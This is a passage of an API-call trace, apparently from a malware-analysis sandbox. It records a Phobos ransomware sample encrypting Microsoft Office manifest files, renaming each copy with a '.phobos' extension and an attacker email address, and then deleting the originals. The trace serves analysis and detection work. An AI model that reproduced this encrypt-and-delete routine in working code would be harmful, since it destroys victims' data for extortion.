[0051.234] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x5fd, lpOverlapped=0x0) returned 1 [0051.237] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x600, dwBufLen=0x600 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x600) returned 1 [0051.237] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x600, lpOverlapped=0x0) returned 1 [0051.238] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0051.238] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.238] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0051.238] CryptDestroyKey (hKey=0x10dc950) returned 1 [0051.238] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0051.238] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0051.238] CloseHandle (hObject=0x328) returned 1 [0051.238] CloseHandle (hObject=0x310) returned 1 [0051.239] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0051.240] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0051.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.241] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=800867) returned 1 [0051.241] CloseHandle (hObject=0x310) returned 1 [0051.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0051.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0051.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.242] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.242] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.242] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0051.242] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.242] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xc3863, lpOverlapped=0x0) returned 1 [0051.380] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc3870, dwBufLen=0xc3870 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc3870) returned 1 [0051.381] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc3870, lpOverlapped=0x0) returned 1 [0051.425] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc750) returned 1 [0051.426] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.426] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0051.426] CryptDestroyKey (hKey=0x10dc750) returned 1 [0051.426] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0051.426] CryptDestroyKey (hKey=0x10dc710) returned 1 [0051.426] CloseHandle (hObject=0x310) returned 1 [0051.426] CloseHandle (hObject=0x328) returned 1 [0051.439] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0051.447] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0051.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.447] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0051.447] CloseHandle (hObject=0x328) returned 1 [0051.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0051.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0051.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.448] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.448] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.448] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0051.448] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.448] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0051.937] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0051.937] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0051.938] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc750) returned 1 [0051.938] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.938] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0051.938] CryptDestroyKey (hKey=0x10dc750) returned 1 [0051.938] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0051.938] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0051.938] CloseHandle (hObject=0x328) returned 1 [0051.938] CloseHandle (hObject=0x310) returned 1 [0051.939] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0051.940] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0051.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.941] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=496513) returned 1 [0051.941] CloseHandle (hObject=0x310) returned 1 [0051.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0051.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0051.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.942] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.942] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.942] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0051.942] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.942] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x79381, lpOverlapped=0x0) returned 1 [0051.957] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x79390, dwBufLen=0x79390 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x79390) returned 1 [0051.958] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x79390, lpOverlapped=0x0) returned 1 [0051.964] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc10) returned 1 [0051.964] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.965] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0051.965] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0051.965] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0051.965] CryptDestroyKey (hKey=0x10dc750) returned 1 [0051.965] CloseHandle (hObject=0x310) returned 1 [0051.965] CloseHandle (hObject=0x328) returned 1 [0051.972] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0051.976] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0051.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.976] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0051.976] CloseHandle (hObject=0x328) returned 1 [0051.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0051.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0051.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.977] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.977] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.977] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0051.977] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.977] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0051.988] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0051.988] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0051.989] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0051.989] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.989] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0051.989] CryptDestroyKey (hKey=0x10dc690) returned 1 [0051.989] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0051.989] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0051.989] CloseHandle (hObject=0x328) returned 1 [0051.989] CloseHandle (hObject=0x310) returned 1 [0051.990] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0051.991] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0051.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.991] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=253712) returned 1 [0051.991] CloseHandle (hObject=0x310) returned 1 [0051.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0051.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0051.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.992] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.992] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.992] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0051.992] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.992] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3df10, lpOverlapped=0x0) returned 1 [0052.065] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3df20, dwBufLen=0x3df20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3df20) returned 1 [0052.065] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3df20, lpOverlapped=0x0) returned 1 [0052.069] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc90) returned 1 [0052.069] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0052.069] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0052.069] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0052.069] WriteFile (in: hFile=0x328, 